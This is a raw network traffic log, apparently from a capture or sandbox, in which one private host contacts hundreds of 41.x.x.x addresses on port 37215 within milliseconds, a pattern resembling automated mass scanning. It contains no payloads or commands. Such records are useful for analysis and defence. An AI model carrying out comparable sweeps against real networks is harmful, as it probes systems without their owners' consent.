Feb 20, 2022 16:02:43.580200911 CET	27477	37215	192.168.2.23	41.92.232.49
Feb 20, 2022 16:02:43.580221891 CET	27221	37215	192.168.2.23	41.159.177.86
Feb 20, 2022 16:02:43.580230951 CET	27477	37215	192.168.2.23	41.16.10.183
Feb 20, 2022 16:02:43.580240965 CET	27221	37215	192.168.2.23	41.229.76.184
Feb 20, 2022 16:02:43.580266953 CET	27221	37215	192.168.2.23	41.68.139.46
Feb 20, 2022 16:02:43.580288887 CET	27221	37215	192.168.2.23	41.244.131.112
Feb 20, 2022 16:02:43.580290079 CET	27477	37215	192.168.2.23	41.111.39.186
Feb 20, 2022 16:02:43.580326080 CET	27221	37215	192.168.2.23	41.41.148.20
Feb 20, 2022 16:02:43.580348015 CET	27477	37215	192.168.2.23	41.175.108.26
Feb 20, 2022 16:02:43.580368996 CET	27221	37215	192.168.2.23	41.155.204.55
Feb 20, 2022 16:02:43.580380917 CET	27221	37215	192.168.2.23	41.218.66.180
Feb 20, 2022 16:02:43.580394983 CET	27477	37215	192.168.2.23	41.83.149.175
Feb 20, 2022 16:02:43.580424070 CET	27221	37215	192.168.2.23	41.173.96.150
Feb 20, 2022 16:02:43.580466986 CET	27221	37215	192.168.2.23	41.215.27.73
Feb 20, 2022 16:02:43.580496073 CET	27221	37215	192.168.2.23	41.71.55.62
Feb 20, 2022 16:02:43.580497026 CET	27477	37215	192.168.2.23	41.103.221.67
Feb 20, 2022 16:02:43.580513954 CET	27221	37215	192.168.2.23	41.171.173.68
Feb 20, 2022 16:02:43.580539942 CET	27221	37215	192.168.2.23	41.121.34.86
Feb 20, 2022 16:02:43.580563068 CET	27221	37215	192.168.2.23	41.128.208.253
Feb 20, 2022 16:02:43.580593109 CET	27477	37215	192.168.2.23	41.44.189.78
Feb 20, 2022 16:02:43.580593109 CET	27221	37215	192.168.2.23	41.89.213.48
Feb 20, 2022 16:02:43.580617905 CET	27221	37215	192.168.2.23	41.151.227.202
Feb 20, 2022 16:02:43.580632925 CET	27477	37215	192.168.2.23	41.147.198.9
Feb 20, 2022 16:02:43.580642939 CET	27221	37215	192.168.2.23	41.214.155.202
Feb 20, 2022 16:02:43.580667973 CET	27477	37215	192.168.2.23	41.156.125.37
Feb 20, 2022 16:02:43.580684900 CET	27221	37215	192.168.2.23	41.91.54.248
Feb 20, 2022 16:02:43.580693007 CET	27221	37215	192.168.2.23	41.43.99.85
Feb 20, 2022 16:02:43.580713987 CET	27477	37215	192.168.2.23	41.101.6.222
Feb 20, 2022 16:02:43.580729961 CET	27221	37215	192.168.2.23	41.29.220.203
Feb 20, 2022 16:02:43.580748081 CET	27221	37215	192.168.2.23	41.187.167.31
Feb 20, 2022 16:02:43.580765963 CET	27477	37215	192.168.2.23	41.149.71.185
Feb 20, 2022 16:02:43.580781937 CET	27221	37215	192.168.2.23	41.23.135.94
Feb 20, 2022 16:02:43.580815077 CET	27221	37215	192.168.2.23	41.11.22.155
Feb 20, 2022 16:02:43.580823898 CET	27477	37215	192.168.2.23	41.102.8.181
Feb 20, 2022 16:02:43.580837011 CET	27221	37215	192.168.2.23	41.122.102.91
Feb 20, 2022 16:02:43.580877066 CET	27221	37215	192.168.2.23	41.83.224.28
Feb 20, 2022 16:02:43.580889940 CET	27477	37215	192.168.2.23	41.149.137.229
Feb 20, 2022 16:02:43.580945015 CET	27477	37215	192.168.2.23	41.244.62.19
Feb 20, 2022 16:02:43.580977917 CET	27221	37215	192.168.2.23	41.229.126.34
Feb 20, 2022 16:02:43.580981016 CET	27221	37215	192.168.2.23	41.157.252.21
Feb 20, 2022 16:02:43.581001043 CET	27221	37215	192.168.2.23	41.237.89.59
Feb 20, 2022 16:02:43.581006050 CET	27477	37215	192.168.2.23	41.44.182.242
Feb 20, 2022 16:02:43.581032991 CET	27477	37215	192.168.2.23	41.39.30.11
Feb 20, 2022 16:02:43.581033945 CET	27221	37215	192.168.2.23	41.21.121.49
Feb 20, 2022 16:02:43.581052065 CET	27477	37215	192.168.2.23	41.70.106.74
Feb 20, 2022 16:02:43.581054926 CET	27221	37215	192.168.2.23	41.78.138.49
Feb 20, 2022 16:02:43.581069946 CET	27221	37215	192.168.2.23	41.211.87.17
Feb 20, 2022 16:02:43.581070900 CET	27221	37215	192.168.2.23	41.200.107.187
Feb 20, 2022 16:02:43.581087112 CET	27221	37215	192.168.2.23	41.79.107.170
Feb 20, 2022 16:02:43.581099987 CET	27221	37215	192.168.2.23	41.116.70.207
Feb 20, 2022 16:02:43.581104040 CET	27221	37215	192.168.2.23	41.110.0.210
Feb 20, 2022 16:02:43.581106901 CET	27221	37215	192.168.2.23	41.64.39.203
Feb 20, 2022 16:02:43.581116915 CET	27477	37215	192.168.2.23	41.6.113.171
Feb 20, 2022 16:02:43.581130981 CET	27221	37215	192.168.2.23	41.146.217.125
Feb 20, 2022 16:02:43.581154108 CET	27477	37215	192.168.2.23	41.91.5.136
Feb 20, 2022 16:02:43.581178904 CET	27221	37215	192.168.2.23	41.221.242.155
Feb 20, 2022 16:02:43.581186056 CET	27221	37215	192.168.2.23	41.161.137.57
Feb 20, 2022 16:02:43.581198931 CET	27477	37215	192.168.2.23	41.154.69.119
Feb 20, 2022 16:02:43.581228971 CET	27221	37215	192.168.2.23	41.95.111.252
Feb 20, 2022 16:02:43.581238031 CET	27221	37215	192.168.2.23	41.60.86.175
Feb 20, 2022 16:02:43.581255913 CET	27221	37215	192.168.2.23	41.193.217.31
Feb 20, 2022 16:02:43.581288099 CET	27221	37215	192.168.2.23	41.93.178.167
Feb 20, 2022 16:02:43.581302881 CET	27221	37215	192.168.2.23	41.178.144.225
Feb 20, 2022 16:02:43.581335068 CET	27477	37215	192.168.2.23	41.189.130.108
Feb 20, 2022 16:02:43.581341028 CET	27221	37215	192.168.2.23	41.76.42.246
Feb 20, 2022 16:02:43.581363916 CET	27221	37215	192.168.2.23	41.89.77.28
Feb 20, 2022 16:02:43.581381083 CET	27477	37215	192.168.2.23	41.182.213.44
Feb 20, 2022 16:02:43.581391096 CET	27221	37215	192.168.2.23	41.80.214.100
Feb 20, 2022 16:02:43.581408024 CET	27221	37215	192.168.2.23	41.204.30.51
Feb 20, 2022 16:02:43.581442118 CET	27477	37215	192.168.2.23	41.137.187.38
Feb 20, 2022 16:02:43.581454992 CET	27221	37215	192.168.2.23	41.184.150.201
Feb 20, 2022 16:02:43.581471920 CET	27221	37215	192.168.2.23	41.54.234.10
Feb 20, 2022 16:02:43.581520081 CET	27221	37215	192.168.2.23	41.105.171.199
Feb 20, 2022 16:02:43.581554890 CET	27477	37215	192.168.2.23	41.199.119.254
Feb 20, 2022 16:02:43.581559896 CET	27221	37215	192.168.2.23	41.61.145.250
Feb 20, 2022 16:02:43.581574917 CET	27221	37215	192.168.2.23	41.54.153.231
Feb 20, 2022 16:02:43.581594944 CET	27221	37215	192.168.2.23	41.137.117.138
Feb 20, 2022 16:02:43.581599951 CET	27477	37215	192.168.2.23	41.158.125.75
Feb 20, 2022 16:02:43.581624985 CET	27221	37215	192.168.2.23	41.24.235.170
Feb 20, 2022 16:02:43.581631899 CET	27221	37215	192.168.2.23	41.199.241.239
Feb 20, 2022 16:02:43.581646919 CET	27477	37215	192.168.2.23	41.216.189.102
Feb 20, 2022 16:02:43.581650019 CET	27477	37215	192.168.2.23	41.60.213.213
Feb 20, 2022 16:02:43.581661940 CET	27221	37215	192.168.2.23	41.213.221.218
Feb 20, 2022 16:02:43.581671953 CET	27477	37215	192.168.2.23	41.165.33.21
Feb 20, 2022 16:02:43.581684113 CET	27221	37215	192.168.2.23	41.165.16.57
Feb 20, 2022 16:02:43.581712961 CET	27477	37215	192.168.2.23	41.212.103.111
Feb 20, 2022 16:02:43.581716061 CET	27221	37215	192.168.2.23	41.62.130.7
Feb 20, 2022 16:02:43.581729889 CET	27221	37215	192.168.2.23	41.53.165.61
Feb 20, 2022 16:02:43.581752062 CET	27477	37215	192.168.2.23	41.84.71.125
Feb 20, 2022 16:02:43.581782103 CET	27221	37215	192.168.2.23	41.193.88.171
Feb 20, 2022 16:02:43.581804991 CET	27477	37215	192.168.2.23	41.189.206.187
Feb 20, 2022 16:02:43.581836939 CET	27221	37215	192.168.2.23	41.44.242.69
Feb 20, 2022 16:02:43.581861019 CET	27221	37215	192.168.2.23	41.9.22.151
Feb 20, 2022 16:02:43.581882954 CET	27221	37215	192.168.2.23	41.252.204.38
Feb 20, 2022 16:02:43.581883907 CET	27477	37215	192.168.2.23	41.100.123.184
Feb 20, 2022 16:02:43.581907988 CET	27221	37215	192.168.2.23	41.249.56.54
Feb 20, 2022 16:02:43.581909895 CET	27477	37215	192.168.2.23	41.115.248.95
Feb 20, 2022 16:02:43.581924915 CET	27221	37215	192.168.2.23	41.185.168.55
Feb 20, 2022 16:02:43.581937075 CET	27221	37215	192.168.2.23	41.248.28.207
Feb 20, 2022 16:02:43.581947088 CET	27221	37215	192.168.2.23	41.175.8.173
Feb 20, 2022 16:02:43.581964970 CET	27221	37215	192.168.2.23	41.104.225.60
Feb 20, 2022 16:02:43.581974983 CET	27477	37215	192.168.2.23	41.123.191.0
Feb 20, 2022 16:02:43.581988096 CET	27221	37215	192.168.2.23	41.75.234.5
Feb 20, 2022 16:02:43.582014084 CET	27221	37215	192.168.2.23	41.229.16.240
Feb 20, 2022 16:02:43.582031012 CET	27477	37215	192.168.2.23	41.184.81.158
Feb 20, 2022 16:02:43.582056999 CET	27221	37215	192.168.2.23	41.198.167.70
Feb 20, 2022 16:02:43.582073927 CET	27477	37215	192.168.2.23	41.161.19.29
Feb 20, 2022 16:02:43.582099915 CET	27221	37215	192.168.2.23	41.252.60.232
Feb 20, 2022 16:02:43.582103968 CET	27221	37215	192.168.2.23	41.45.186.156
Feb 20, 2022 16:02:43.582133055 CET	27477	37215	192.168.2.23	41.200.202.67
Feb 20, 2022 16:02:43.582151890 CET	27221	37215	192.168.2.23	41.55.11.133
Feb 20, 2022 16:02:43.582180977 CET	27221	37215	192.168.2.23	41.214.91.51
Feb 20, 2022 16:02:43.582192898 CET	27477	37215	192.168.2.23	41.14.136.68
Feb 20, 2022 16:02:43.582205057 CET	27221	37215	192.168.2.23	41.82.7.184
Feb 20, 2022 16:02:43.582232952 CET	27221	37215	192.168.2.23	41.140.140.157
Feb 20, 2022 16:02:43.582232952 CET	27221	37215	192.168.2.23	41.238.206.203
Feb 20, 2022 16:02:43.582248926 CET	27477	37215	192.168.2.23	41.13.149.115
Feb 20, 2022 16:02:43.582251072 CET	27221	37215	192.168.2.23	41.131.68.112
Feb 20, 2022 16:02:43.582288980 CET	27221	37215	192.168.2.23	41.43.150.135
Feb 20, 2022 16:02:43.582300901 CET	27477	37215	192.168.2.23	41.30.130.6
Feb 20, 2022 16:02:43.582334042 CET	27221	37215	192.168.2.23	41.193.103.44
Feb 20, 2022 16:02:43.582356930 CET	27221	37215	192.168.2.23	41.202.247.147
Feb 20, 2022 16:02:43.582362890 CET	27221	37215	192.168.2.23	41.244.70.24
Feb 20, 2022 16:02:43.582365990 CET	27477	37215	192.168.2.23	41.247.2.239
Feb 20, 2022 16:02:43.582380056 CET	27221	37215	192.168.2.23	41.42.252.198
Feb 20, 2022 16:02:43.582412958 CET	27221	37215	192.168.2.23	41.51.19.137
Feb 20, 2022 16:02:43.582442999 CET	27221	37215	192.168.2.23	41.198.243.123
Feb 20, 2022 16:02:43.582462072 CET	27221	37215	192.168.2.23	41.79.44.29
Feb 20, 2022 16:02:43.582515955 CET	27221	37215	192.168.2.23	41.196.235.160
Feb 20, 2022 16:02:43.582525969 CET	27477	37215	192.168.2.23	41.192.182.239
Feb 20, 2022 16:02:43.582551003 CET	27221	37215	192.168.2.23	41.213.247.95
Feb 20, 2022 16:02:43.582567930 CET	27477	37215	192.168.2.23	41.61.195.17
Feb 20, 2022 16:02:43.582593918 CET	27221	37215	192.168.2.23	41.79.190.111
Feb 20, 2022 16:02:43.582634926 CET	27477	37215	192.168.2.23	41.151.111.174
Feb 20, 2022 16:02:43.582648993 CET	27221	37215	192.168.2.23	41.55.199.110
Feb 20, 2022 16:02:43.582675934 CET	27221	37215	192.168.2.23	41.216.82.86
Feb 20, 2022 16:02:43.582701921 CET	27477	37215	192.168.2.23	41.1.170.19
Feb 20, 2022 16:02:43.582703114 CET	27221	37215	192.168.2.23	41.184.243.25
Feb 20, 2022 16:02:43.582719088 CET	27221	37215	192.168.2.23	41.164.234.80
Feb 20, 2022 16:02:43.582736015 CET	27477	37215	192.168.2.23	41.101.38.13
Feb 20, 2022 16:02:43.582743883 CET	27221	37215	192.168.2.23	41.174.88.91
Feb 20, 2022 16:02:43.582777977 CET	27221	37215	192.168.2.23	41.144.141.113
Feb 20, 2022 16:02:43.582803011 CET	27221	37215	192.168.2.23	41.41.64.105
Feb 20, 2022 16:02:43.582840919 CET	27477	37215	192.168.2.23	41.149.89.230
Feb 20, 2022 16:02:43.582847118 CET	27221	37215	192.168.2.23	41.238.240.18
Feb 20, 2022 16:02:43.582875013 CET	27221	37215	192.168.2.23	41.183.196.146
Feb 20, 2022 16:02:43.582878113 CET	27477	37215	192.168.2.23	41.55.253.141
Feb 20, 2022 16:02:43.582901955 CET	27221	37215	192.168.2.23	41.9.208.215
Feb 20, 2022 16:02:43.582921982 CET	27221	37215	192.168.2.23	41.140.203.214
Feb 20, 2022 16:02:43.582940102 CET	27477	37215	192.168.2.23	41.140.51.26
Feb 20, 2022 16:02:43.582962036 CET	27221	37215	192.168.2.23	41.95.60.20
Feb 20, 2022 16:02:43.582990885 CET	27221	37215	192.168.2.23	41.210.226.244
Feb 20, 2022 16:02:43.583013058 CET	27221	37215	192.168.2.23	41.208.205.227
Feb 20, 2022 16:02:43.583014011 CET	27477	37215	192.168.2.23	41.103.137.236
Feb 20, 2022 16:02:43.583028078 CET	27221	37215	192.168.2.23	41.31.173.72
Feb 20, 2022 16:02:43.583045006 CET	27477	37215	192.168.2.23	41.148.183.13
Feb 20, 2022 16:02:43.583056927 CET	27477	37215	192.168.2.23	41.85.111.0
Feb 20, 2022 16:02:43.583065987 CET	27221	37215	192.168.2.23	41.127.114.51
Feb 20, 2022 16:02:43.583082914 CET	27477	37215	192.168.2.23	41.93.81.202
Feb 20, 2022 16:02:43.583087921 CET	27221	37215	192.168.2.23	41.85.41.87
Feb 20, 2022 16:02:43.583098888 CET	27221	37215	192.168.2.23	41.29.177.100
Feb 20, 2022 16:02:43.583112001 CET	27221	37215	192.168.2.23	41.121.176.221
Feb 20, 2022 16:02:43.583117962 CET	27221	37215	192.168.2.23	41.167.94.9
Feb 20, 2022 16:02:43.583137989 CET	27221	37215	192.168.2.23	41.61.28.15
Feb 20, 2022 16:02:43.583137989 CET	27221	37215	192.168.2.23	41.235.168.97
Feb 20, 2022 16:02:43.583153963 CET	27477	37215	192.168.2.23	41.158.127.16
Feb 20, 2022 16:02:43.583174944 CET	27221	37215	192.168.2.23	41.142.174.60
Feb 20, 2022 16:02:43.583177090 CET	27477	37215	192.168.2.23	41.138.106.121
Feb 20, 2022 16:02:43.583194017 CET	27221	37215	192.168.2.23	41.131.99.141
Feb 20, 2022 16:02:43.583194017 CET	27477	37215	192.168.2.23	41.87.185.127
Feb 20, 2022 16:02:43.583198071 CET	27477	37215	192.168.2.23	41.228.96.64
Feb 20, 2022 16:02:43.583214045 CET	27221	37215	192.168.2.23	41.154.90.117
Feb 20, 2022 16:02:43.583220959 CET	27221	37215	192.168.2.23	41.238.74.29
Feb 20, 2022 16:02:43.583245039 CET	27221	37215	192.168.2.23	41.76.70.180
Feb 20, 2022 16:02:43.583281994 CET	27221	37215	192.168.2.23	41.166.34.122
Feb 20, 2022 16:02:43.583309889 CET	27221	37215	192.168.2.23	41.157.161.167
Feb 20, 2022 16:02:43.583327055 CET	27221	37215	192.168.2.23	41.133.138.114
Feb 20, 2022 16:02:43.583333015 CET	27477	37215	192.168.2.23	41.238.234.49
Feb 20, 2022 16:02:43.583336115 CET	27477	37215	192.168.2.23	41.237.236.149
Feb 20, 2022 16:02:43.583405018 CET	27221	37215	192.168.2.23	41.54.66.251
Feb 20, 2022 16:02:43.583408117 CET	27477	37215	192.168.2.23	41.85.91.21
Feb 20, 2022 16:02:43.583431959 CET	27221	37215	192.168.2.23	41.160.87.240
Feb 20, 2022 16:02:43.583451033 CET	27221	37215	192.168.2.23	41.81.10.135
Feb 20, 2022 16:02:43.583477974 CET	27221	37215	192.168.2.23	41.15.165.233
Feb 20, 2022 16:02:43.583533049 CET	27221	37215	192.168.2.23	41.75.132.106
Feb 20, 2022 16:02:43.583553076 CET	27221	37215	192.168.2.23	41.169.115.38
Feb 20, 2022 16:02:43.583607912 CET	27221	37215	192.168.2.23	41.99.206.169
Feb 20, 2022 16:02:43.583617926 CET	27477	37215	192.168.2.23	41.32.5.235
Feb 20, 2022 16:02:43.583632946 CET	27221	37215	192.168.2.23	41.89.105.92
Feb 20, 2022 16:02:43.583659887 CET	27221	37215	192.168.2.23	41.192.209.225
Feb 20, 2022 16:02:43.583673000 CET	27477	37215	192.168.2.23	41.196.49.58
Feb 20, 2022 16:02:43.583693981 CET	27221	37215	192.168.2.23	41.62.196.82
Feb 20, 2022 16:02:43.583729029 CET	27221	37215	192.168.2.23	41.228.167.195
Feb 20, 2022 16:02:43.583740950 CET	27477	37215	192.168.2.23	41.114.138.86
Feb 20, 2022 16:02:43.583758116 CET	27221	37215	192.168.2.23	41.189.191.81
Feb 20, 2022 16:02:43.583786964 CET	27221	37215	192.168.2.23	41.57.188.198
Feb 20, 2022 16:02:43.583820105 CET	27221	37215	192.168.2.23	41.17.195.139
Feb 20, 2022 16:02:43.583837986 CET	27477	37215	192.168.2.23	41.190.114.130
Feb 20, 2022 16:02:43.583839893 CET	27221	37215	192.168.2.23	41.236.250.139
Feb 20, 2022 16:02:43.583868027 CET	27221	37215	192.168.2.23	41.75.0.244
Feb 20, 2022 16:02:43.583901882 CET	27477	37215	192.168.2.23	41.143.20.199
Feb 20, 2022 16:02:43.583914042 CET	27221	37215	192.168.2.23	41.167.213.59
Feb 20, 2022 16:02:43.583950043 CET	27477	37215	192.168.2.23	41.3.122.57
Feb 20, 2022 16:02:43.583951950 CET	27221	37215	192.168.2.23	41.106.86.70
Feb 20, 2022 16:02:43.583969116 CET	27221	37215	192.168.2.23	41.189.233.198
Feb 20, 2022 16:02:43.583982944 CET	27477	37215	192.168.2.23	41.204.164.165
Feb 20, 2022 16:02:43.583996058 CET	27477	37215	192.168.2.23	41.208.142.232
Feb 20, 2022 16:02:43.583998919 CET	27221	37215	192.168.2.23	41.130.173.4
Feb 20, 2022 16:02:43.584018946 CET	27221	37215	192.168.2.23	41.99.28.201
Feb 20, 2022 16:02:43.584038019 CET	27477	37215	192.168.2.23	41.171.21.112
Feb 20, 2022 16:02:43.584038973 CET	27221	37215	192.168.2.23	41.194.219.76
Feb 20, 2022 16:02:43.584038973 CET	27221	37215	192.168.2.23	41.53.95.113
Feb 20, 2022 16:02:43.584060907 CET	27221	37215	192.168.2.23	41.19.80.34
Feb 20, 2022 16:02:43.584062099 CET	27477	37215	192.168.2.23	41.169.138.4
Feb 20, 2022 16:02:43.584084988 CET	27221	37215	192.168.2.23	41.47.91.196
Feb 20, 2022 16:02:43.584086895 CET	27221	37215	192.168.2.23	41.44.29.196
Feb 20, 2022 16:02:43.584105015 CET	27477	37215	192.168.2.23	41.81.149.71
Feb 20, 2022 16:02:43.584111929 CET	27221	37215	192.168.2.23	41.229.121.6
Feb 20, 2022 16:02:43.584122896 CET	27477	37215	192.168.2.23	41.41.41.225
Feb 20, 2022 16:02:43.584137917 CET	27477	37215	192.168.2.23	41.118.220.92
Feb 20, 2022 16:02:43.584139109 CET	27221	37215	192.168.2.23	41.136.51.45
Feb 20, 2022 16:02:43.584151983 CET	27477	37215	192.168.2.23	41.133.52.248
Feb 20, 2022 16:02:43.584153891 CET	27477	37215	192.168.2.23	41.148.115.73
Feb 20, 2022 16:02:43.584170103 CET	27221	37215	192.168.2.23	41.241.107.65
Feb 20, 2022 16:02:43.584183931 CET	27221	37215	192.168.2.23	41.168.45.81
Feb 20, 2022 16:02:43.584193945 CET	27221	37215	192.168.2.23	41.157.49.79
Feb 20, 2022 16:02:43.584194899 CET	27221	37215	192.168.2.23	41.219.15.128
Feb 20, 2022 16:02:43.584196091 CET	27477	37215	192.168.2.23	41.163.81.80
Feb 20, 2022 16:02:43.584228039 CET	27221	37215	192.168.2.23	41.242.75.65
Feb 20, 2022 16:02:43.584254980 CET	27221	37215	192.168.2.23	41.29.54.246
Feb 20, 2022 16:02:43.584264040 CET	27221	37215	192.168.2.23	41.84.48.79
Feb 20, 2022 16:02:43.584265947 CET	27477	37215	192.168.2.23	41.42.11.25
Feb 20, 2022 16:02:43.584301949 CET	27477	37215	192.168.2.23	41.239.195.60
Feb 20, 2022 16:02:43.584320068 CET	27221	37215	192.168.2.23	41.246.234.127
Feb 20, 2022 16:02:43.584325075 CET	27221	37215	192.168.2.23	41.116.198.77
Feb 20, 2022 16:02:43.584342003 CET	27221	37215	192.168.2.23	41.178.63.251
Feb 20, 2022 16:02:43.584342957 CET	27477	37215	192.168.2.23	41.217.210.105
Feb 20, 2022 16:02:43.584371090 CET	27221	37215	192.168.2.23	41.162.35.208
Feb 20, 2022 16:02:43.584399939 CET	27477	37215	192.168.2.23	41.66.8.29
Feb 20, 2022 16:02:43.584428072 CET	27221	37215	192.168.2.23	41.138.67.208
Feb 20, 2022 16:02:43.584443092 CET	27477	37215	192.168.2.23	41.17.40.142
Feb 20, 2022 16:02:43.584460020 CET	27221	37215	192.168.2.23	41.55.216.103
Feb 20, 2022 16:02:43.584461927 CET	27221	37215	192.168.2.23	41.84.232.137
Feb 20, 2022 16:02:43.584487915 CET	27221	37215	192.168.2.23	41.53.63.155
Feb 20, 2022 16:02:43.584498882 CET	27477	37215	192.168.2.23	41.136.72.91
Feb 20, 2022 16:02:43.584532976 CET	27221	37215	192.168.2.23	41.216.207.38
Feb 20, 2022 16:02:43.584556103 CET	27477	37215	192.168.2.23	41.230.83.160
Feb 20, 2022 16:02:43.584557056 CET	27221	37215	192.168.2.23	41.1.18.254
Feb 20, 2022 16:02:43.584608078 CET	27221	37215	192.168.2.23	41.121.2.35
Feb 20, 2022 16:02:43.584633112 CET	27477	37215	192.168.2.23	41.61.231.194
Feb 20, 2022 16:02:43.584639072 CET	27221	37215	192.168.2.23	41.58.66.213
Feb 20, 2022 16:02:43.584660053 CET	27221	37215	192.168.2.23	41.182.45.3
Feb 20, 2022 16:02:43.584682941 CET	27477	37215	192.168.2.23	41.191.20.111
Feb 20, 2022 16:02:43.584707975 CET	27221	37215	192.168.2.23	41.144.41.22
Feb 20, 2022 16:02:43.584714890 CET	27221	37215	192.168.2.23	41.127.158.242
Feb 20, 2022 16:02:43.584731102 CET	27477	37215	192.168.2.23	41.70.57.219
Feb 20, 2022 16:02:43.584748030 CET	27221	37215	192.168.2.23	41.163.170.133
Feb 20, 2022 16:02:43.584786892 CET	27221	37215	192.168.2.23	41.80.204.150
Feb 20, 2022 16:02:43.584789038 CET	27477	37215	192.168.2.23	41.142.65.30
Feb 20, 2022 16:02:43.584821939 CET	27221	37215	192.168.2.23	41.185.227.177
Feb 20, 2022 16:02:43.584841967 CET	27477	37215	192.168.2.23	41.234.222.122
Feb 20, 2022 16:02:43.584850073 CET	27221	37215	192.168.2.23	41.134.10.72
Feb 20, 2022 16:02:43.584898949 CET	27477	37215	192.168.2.23	41.68.73.143
Feb 20, 2022 16:02:43.584933043 CET	27221	37215	192.168.2.23	41.39.24.53
Feb 20, 2022 16:02:43.584953070 CET	27221	37215	192.168.2.23	41.125.105.54
Feb 20, 2022 16:02:43.584964037 CET	27477	37215	192.168.2.23	41.253.211.85
Feb 20, 2022 16:02:43.584979057 CET	27221	37215	192.168.2.23	41.255.171.105
Feb 20, 2022 16:02:43.585009098 CET	27477	37215	192.168.2.23	41.45.94.101
Feb 20, 2022 16:02:43.585020065 CET	27221	37215	192.168.2.23	41.207.249.191
Feb 20, 2022 16:02:43.585043907 CET	27221	37215	192.168.2.23	41.219.29.215
Feb 20, 2022 16:02:43.585058928 CET	27477	37215	192.168.2.23	41.17.52.199
Feb 20, 2022 16:02:43.585069895 CET	27221	37215	192.168.2.23	41.4.90.94
Feb 20, 2022 16:02:43.585093021 CET	27221	37215	192.168.2.23	41.223.226.73
Feb 20, 2022 16:02:43.585118055 CET	27477	37215	192.168.2.23	41.140.182.119
Feb 20, 2022 16:02:43.585124969 CET	27221	37215	192.168.2.23	41.254.248.166
Feb 20, 2022 16:02:43.585150957 CET	27221	37215	192.168.2.23	41.112.27.75
Feb 20, 2022 16:02:43.585170984 CET	27477	37215	192.168.2.23	41.180.185.43
Feb 20, 2022 16:02:43.585201979 CET	27221	37215	192.168.2.23	41.48.26.80
Feb 20, 2022 16:02:43.585230112 CET	27221	37215	192.168.2.23	41.54.20.35
Feb 20, 2022 16:02:43.585232019 CET	27477	37215	192.168.2.23	41.127.229.139
Feb 20, 2022 16:02:43.585247993 CET	27221	37215	192.168.2.23	41.183.85.6
Feb 20, 2022 16:02:43.585273981 CET	27221	37215	192.168.2.23	41.152.168.148
Feb 20, 2022 16:02:43.585277081 CET	27221	37215	192.168.2.23	41.35.57.210
Feb 20, 2022 16:02:43.585305929 CET	27221	37215	192.168.2.23	41.70.57.62
Feb 20, 2022 16:02:43.585306883 CET	27477	37215	192.168.2.23	41.241.96.7
Feb 20, 2022 16:02:43.585329056 CET	27221	37215	192.168.2.23	41.207.204.134
Feb 20, 2022 16:02:43.585340977 CET	27221	37215	192.168.2.23	41.199.137.82
Feb 20, 2022 16:02:43.585342884 CET	27477	37215	192.168.2.23	41.191.64.115
Feb 20, 2022 16:02:43.585354090 CET	27221	37215	192.168.2.23	41.232.244.84
Feb 20, 2022 16:02:43.585392952 CET	27221	37215	192.168.2.23	41.197.203.93
Feb 20, 2022 16:02:43.585403919 CET	27477	37215	192.168.2.23	41.83.168.125
Feb 20, 2022 16:02:43.585448027 CET	27221	37215	192.168.2.23	41.11.91.72
Feb 20, 2022 16:02:43.585459948 CET	27477	37215	192.168.2.23	41.69.30.34
Feb 20, 2022 16:02:43.585473061 CET	27221	37215	192.168.2.23	41.245.133.149
Feb 20, 2022 16:02:43.585488081 CET	27477	37215	192.168.2.23	41.204.68.96
Feb 20, 2022 16:02:43.585489988 CET	27221	37215	192.168.2.23	41.66.246.4
Feb 20, 2022 16:02:43.585494995 CET	27221	37215	192.168.2.23	41.246.154.164
Feb 20, 2022 16:02:43.585500956 CET	27221	37215	192.168.2.23	41.135.123.36
Feb 20, 2022 16:02:43.585525990 CET	27221	37215	192.168.2.23	41.175.189.23
Feb 20, 2022 16:02:43.585547924 CET	27221	37215	192.168.2.23	41.102.175.123
Feb 20, 2022 16:02:43.585551023 CET	27221	37215	192.168.2.23	41.111.87.144
Feb 20, 2022 16:02:43.585551977 CET	27477	37215	192.168.2.23	41.101.37.87
Feb 20, 2022 16:02:43.585562944 CET	27221	37215	192.168.2.23	41.205.208.180
Feb 20, 2022 16:02:43.585562944 CET	27221	37215	192.168.2.23	41.91.173.137
Feb 20, 2022 16:02:43.585577965 CET	27477	37215	192.168.2.23	41.7.72.177
Feb 20, 2022 16:02:43.585581064 CET	27221	37215	192.168.2.23	41.19.130.134
Feb 20, 2022 16:02:43.585581064 CET	27221	37215	192.168.2.23	41.112.205.40
Feb 20, 2022 16:02:43.585597038 CET	27221	37215	192.168.2.23	41.91.126.122
Feb 20, 2022 16:02:43.585597038 CET	27221	37215	192.168.2.23	41.213.184.148
Feb 20, 2022 16:02:43.585606098 CET	27477	37215	192.168.2.23	41.140.107.8
Feb 20, 2022 16:02:43.585617065 CET	27477	37215	192.168.2.23	41.241.243.245
Feb 20, 2022 16:02:43.585619926 CET	27477	37215	192.168.2.23	41.89.196.97
Feb 20, 2022 16:02:43.585621119 CET	27477	37215	192.168.2.23	41.0.106.246
Feb 20, 2022 16:02:43.585635900 CET	27477	37215	192.168.2.23	41.189.193.39
Feb 20, 2022 16:02:43.585648060 CET	27221	37215	192.168.2.23	41.148.243.65
Feb 20, 2022 16:02:43.585658073 CET	27477	37215	192.168.2.23	41.39.5.213
Feb 20, 2022 16:02:43.585671902 CET	27221	37215	192.168.2.23	41.218.156.54
Feb 20, 2022 16:02:43.585674047 CET	27221	37215	192.168.2.23	41.112.137.17
Feb 20, 2022 16:02:43.585690975 CET	27477	37215	192.168.2.23	41.168.189.249
Feb 20, 2022 16:02:43.585716009 CET	27221	37215	192.168.2.23	41.168.140.203
Feb 20, 2022 16:02:43.585721970 CET	27221	37215	192.168.2.23	41.169.89.127
Feb 20, 2022 16:02:43.585726023 CET	27477	37215	192.168.2.23	41.219.215.11
Feb 20, 2022 16:02:43.585742950 CET	27221	37215	192.168.2.23	41.157.32.143
Feb 20, 2022 16:02:43.585762024 CET	27221	37215	192.168.2.23	41.255.220.106
Feb 20, 2022 16:02:43.585781097 CET	27477	37215	192.168.2.23	41.86.76.147
Feb 20, 2022 16:02:43.585788965 CET	27221	37215	192.168.2.23	41.135.30.41
Feb 20, 2022 16:02:43.585800886 CET	27221	37215	192.168.2.23	41.189.170.148
Feb 20, 2022 16:02:43.585822105 CET	27221	37215	192.168.2.23	41.209.59.109
Feb 20, 2022 16:02:43.585829973 CET	27477	37215	192.168.2.23	41.195.105.213
Feb 20, 2022 16:02:43.585866928 CET	27221	37215	192.168.2.23	41.85.154.212
Feb 20, 2022 16:02:43.585870028 CET	27477	37215	192.168.2.23	41.218.128.241
Feb 20, 2022 16:02:43.585887909 CET	27221	37215	192.168.2.23	41.82.157.205
Feb 20, 2022 16:02:43.585891008 CET	27477	37215	192.168.2.23	41.159.212.117
